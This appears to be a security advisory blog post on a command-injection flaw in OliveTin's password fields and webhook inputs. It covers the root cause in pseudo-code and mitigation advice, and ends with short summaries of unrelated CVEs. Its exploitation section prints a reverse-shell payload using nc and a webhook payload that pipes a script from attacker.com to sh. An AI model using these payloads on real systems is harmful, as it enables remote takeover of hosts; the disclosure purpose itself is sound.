Feb 25, 2026·6 min read·373 visits
Critical RCE in OliveTin via unchecked password fields and webhook inputs. Attackers can inject shell commands directly into the execution stream. No patch available at time of disclosure. CVSS 10.0.
OliveTin, a tool designed to simplify shell command execution for end-users, suffers from two critical Command Injection vulnerabilities (CVE-2026-27626). By failing to sanitize arguments in 'password' fields and entirely bypassing validation for Webhook triggers, the application allows unauthenticated attackers to execute arbitrary code with the privileges of the hosting process. This effectively turns a tool meant for controlled access into an open door for full system compromise.
In the world of homelabs and SysAdmin tooling, OliveTin holds a special place. It promises to be the 'sudo for web'—a friendly interface that turns complex, dangerous bash scripts into safe, clickable buttons. It’s the tool you install so your junior devs or family members can restart a Plex server without needing SSH keys or root access.
But here is the cosmic irony: the very tool designed to prevent users from running dangerous commands has a hole in it the size of a truck. CVE-2026-27626 isn't just a bug; it's a fundamental betrayal of the software's promise. It turns a gatekeeper into a doorman who waves everyone through.
The vulnerability lies in how OliveTin constructs shell commands. It assumes that if it checks some inputs, it's safe. But as any seasoned hacker knows, security is a binary state: you are either secure, or you are not. There is no 'mostly' secure when sh -c is involved.
The root cause of this disaster is a classic failure in Input Validation. OliveTin relies on a function loosely termed checkShellArgumentSafety to sanitize user inputs before handing them off to the system shell. This function creates an allowlist of characters or checks for dangerous metacharacters (like ;, |, &).
However, the developers made a fatal assumption regarding usability vs. security. They likely realized that passwords often contain complex special characters—symbols that might look malicious to a sanitizer (like $ or &). To avoid breaking functionality for legitimate users with strong passwords, they explicitly excluded inputs of type password from the safety check. They essentially said, 'Trust the input if it's a password.'
Vector 2 is even more egregious. OliveTin supports Webhooks, allowing external services to trigger actions via JSON payloads. The logic responsible for extracting values from this JSON (using JSONPath) completely bypasses the safety check mechanism. It grabs the string from the JSON and pastes it directly into the shell command string. It’s the coding equivalent of accepting a package from a stranger and immediately eating whatever is inside.
Let's look at the logic flow that leads to this catastrophe. While the exact source code evolves, the vulnerability follows this pattern in Go. The application constructs a command string to be executed by /bin/sh.
The validation logic likely looked something like this:
// Pseudo-code of the vulnerable logic
func executeAction(action Action, inputs map[string]string) {
var cmdBuilder strings.Builder
cmdBuilder.WriteString(action.Command)
for _, arg := range action.Arguments {
userValue := inputs[arg.Name]
// THE FATAL FLAW: Skipping validation for passwords
if arg.Type != "password" {
if !checkShellArgumentSafety(userValue) {
log.Error("Unsafe input detected!")
return
}
}
// If it's a password, it flows right through here raw
cmdBuilder.WriteString(" " + userValue)
}
// Execute: sh -c "script.sh <user_input>"
exec.Command("sh", "-c", cmdBuilder.String()).Run()
}For webhooks, the path is even straighter. The code extracts a value via JSONPath and doesn't even call the check function:
// Pseudo-code of the webhook handler
func handleWebhook(w http.ResponseWriter, r *http.Request) {
// ... parse JSON ...
extractedVal := jsonPathQuery(payload, trigger.Path)
// DIRECT INJECTION: No safety check called
fullCommand := fmt.Sprintf("%s %s", action.Script, extractedVal)
exec.Command("sh", "-c", fullCommand).Run()
}In both cases, the attacker controls a substring inside a command passed to sh -c. This allows for standard shell injection techniques.
Exploiting this is trivial. We don't need buffer overflows or heap spraying. We just need basic knowledge of bash operators. The goal is to terminate the intended command and start our own.
Imagine an OliveTin action configured to restart a service, requiring a sudo password. The configured command might look like:
echo {{ password }} | sudo -S systemctl restart nginx
An attacker, authenticated as a low-level user (or anyone, if auth is disabled), navigates to the form. In the password field, instead of Secret123, they enter:
Secret123; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f
The resulting command executed by the server becomes:
echo Secret123; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f | sudo -S systemctl restart nginx
The semicolon terminates the echo, and the reverse shell executes immediately.
This vector is often unauthenticated. If the OliveTin instance exposes webhooks to the internet (common for IoT integrations), it's game over.
Request:
POST /api/webhook/trigger_backup HTTP/1.1
Host: olivetin.local
Content-Type: application/json
{
"filename": "backup.zip; curl http://attacker.com/malware.sh | sh"
}If the action creates a backup using the filename from the JSON, the injection executes instantly. No login required. No brute force. Just pure, unadulterated Remote Code Execution.
Why is this a CVSS 10.0? Because OliveTin is an execution engine. It is often deployed in Docker containers mapped to the host's Docker socket, or running as root to simplify permission management for the scripts it runs.
If the process runs as root:
--privileged or mapped sockets, escaping to the host is trivial.Even if running as a low-privileged user, the attacker can access any secrets, API keys, or configuration files accessible to the OliveTin user, often leading to privilege escalation.
As of the initial disclosure, no official patch was immediately available, leaving users in a precarious position. However, the path to remediation is clear for the developers and users can take immediate defensive steps.
The flaw is using sh -c (shell execution) with concatenated strings. The fix is to use parameterized execution (like execve). Arguments should be passed as an array of strings, not a single command string. This prevents the shell from interpreting metacharacters.
If sh -c must be used, the application must strictly sanitize inputs against an allowlist (alphanumeric only), rejecting anything else. The exemption for password types must be removed, or passwords should be passed via environment variables, not command arguments.
config.yaml immediately.authType is NOT set to none. Use a reverse proxy (like Nginx or Traefik) with Basic Auth or Oauth in front of OliveTin as a second layer of defense.sudo permissions only for the commands strictly needed.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OliveTin OliveTin | <= 3000.10.0 | TBD |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS Score | 10.0 (Critical) |
| Attack Vector | Network (Web & Webhook) |
| Privileges Required | None (for Webhook vector) |
| Exploit Status | Proof of Concept Available |
| Platform | Go / Linux |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
An uncontrolled resource consumption vulnerability in Strawberry GraphQL allows unauthenticated remote attackers to trigger a Denial of Service on persistent WebSocket connections using the legacy graphql-ws protocol. When the server enforces max_subscriptions_per_connection, naturally terminating subscriptions are not cleared from memory registries, leading to exhaustion of connection slots.
A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.
NearForm fast-jwt prior to version 6.3.0 is vulnerable to an input validation flaw where configuring verifier properties (such as clockTolerance, clockTimestamp, and cacheTTL) with non-finite values like Infinity or NaN allows attackers to bypass temporal claim validations, including expiration (exp) and activation (nbf) boundaries. This validation bypass can result in unauthorized session persistence and cache poisoning.
A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.
CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.
Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.